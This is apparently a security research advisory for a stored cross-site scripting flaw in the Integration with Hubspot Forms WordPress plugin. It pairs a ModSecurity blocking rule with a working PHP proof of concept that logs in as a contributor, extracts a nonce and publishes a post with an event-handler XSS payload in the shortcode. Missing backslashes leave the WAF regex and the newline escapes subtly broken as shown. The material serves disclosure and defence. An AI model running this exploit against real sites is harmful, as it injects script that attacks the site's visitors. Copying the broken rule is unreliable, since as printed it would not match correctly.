CVE-2026-1908: Integration with Hubspot Forms <= 1.2.2 – Authenticated (Contributor+) Stored Cross-Site Scripting via Shortcode Attributes (integration-with-hubspot-forms)

# Atomic Edge WAF Rule - CVE-2026-1908 (metadata-based)
# This rule targets the stored XSS vulnerability in the Integration with Hubspot Forms plugin.
# The rule blocks POST requests to the WordPress post editor that contain the malicious
# 'hubspotform' shortcode with XSS payloads in its attributes.
SecRule REQUEST_URI "@rx ^/wp-admin/(post.php|post-new.php)$" 
  "id:20261908,phase:2,deny,status:403,chain,msg:'CVE-2026-1908: Stored XSS via Integration with Hubspot Forms shortcode',severity:'CRITICAL',tag:'CVE-2026-1908',tag:'WordPress',tag:'Plugin',tag:'XSS'"
  SecRule REQUEST_METHOD "@streq POST" "chain"
    SecRule ARGS_POST:content "@rx [hubspotform[^]]*b(onw+|style)s*[=]" 
      "t:none,t:urlDecodeUni,t:htmlEntityDecode,t:lowercase,ctl:auditLogParts=+E"

// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-1908 - Integration with Hubspot Forms <= 1.2.2 - Authenticated (Contributor+) Stored Cross-Site Scripting via Shortcode Attributes
<?php
/**
 * Proof of Concept for CVE-2026-1908
 * This script demonstrates exploitation of the stored XSS vulnerability in the
 * Integration with Hubspot Forms plugin via the 'hubspotform' shortcode.
 * Assumptions based on metadata:
 * 1. The plugin registers a shortcode named 'hubspotform'.
 * 2. Shortcode attributes are not properly escaped before output.
 * 3. Contributor+ users can publish posts containing the shortcode.
 */

$target_url = 'https://vulnerable-wordpress-site.com';
$username = 'contributor_user';
$password = 'contributor_password';

// Payload: XSS via the 'id' attribute using an event handler.
// This is a common vector for attribute-based XSS in WordPress shortcodes.
$malicious_shortcode = '[hubspotform id="1" onmouseover="alert(document.domain)" data="]';
$post_title = 'Test Post with XSS';
$post_content = "This post contains a malicious Hubspot Forms shortcode.nn" . $malicious_shortcode . "nnHover over the form to trigger the XSS.";

// Step 1: Authenticate to WordPress and obtain nonce for post creation
$ch = curl_init();
curl_setopt_array($ch, [
    CURLOPT_URL => $target_url . '/wp-login.php',
    CURLOPT_RETURNTRANSFER => true,
    CURLOPT_POST => true,
    CURLOPT_POSTFIELDS => http_build_query([
        'log' => $username,
        'pwd' => $password,
        'wp-submit' => 'Log In',
        'redirect_to' => $target_url . '/wp-admin/',
        'testcookie' => '1'
    ]),
    CURLOPT_COOKIEJAR => 'cookies.txt',
    CURLOPT_COOKIEFILE => 'cookies.txt',
    CURLOPT_FOLLOWLOCATION => true
]);
$response = curl_exec($ch);

// Step 2: Fetch the post creation page to obtain a valid nonce
curl_setopt_array($ch, [
    CURLOPT_URL => $target_url . '/wp-admin/post-new.php',
    CURLOPT_POST => false
]);
$response = curl_exec($ch);

// Extract nonce from the page (simplified pattern - real implementation would need robust parsing)
preg_match('/"_wpnonce" value="([a-f0-9]+)"/', $response, $matches);
$nonce = $matches[1] ?? '';

if (empty($nonce)) {
    die("Failed to obtain nonce. Authentication may have failed.");
}

// Step 3: Create a new post with the malicious shortcode
curl_setopt_array($ch, [
    CURLOPT_URL => $target_url . '/wp-admin/post.php',
    CURLOPT_POST => true,
    CURLOPT_POSTFIELDS => http_build_query([
        'post_title' => $post_title,
        'content' => $post_content,
        'action' => 'editpost',
        'post_type' => 'post',
        'post_status' => 'publish',
        '_wpnonce' => $nonce,
        '_wp_http_referer' => '/wp-admin/post-new.php',
        'publish' => 'Publish'
    ])
]);
$response = curl_exec($ch);
curl_close($ch);

// Check for success
if (strpos($response, 'Post published.') !== false || strpos($response, 'post-publish') !== false) {
    echo "[+] Exploit successful. Post containing XSS payload published.n";
    echo "[+] Visit the post page and hover over the Hubspot form to trigger the alert.n";
} else {
    echo "[-] Exploit may have failed. Check authentication and permissions.n";
}

// Cleanup
@unlink('cookies.txt');
?>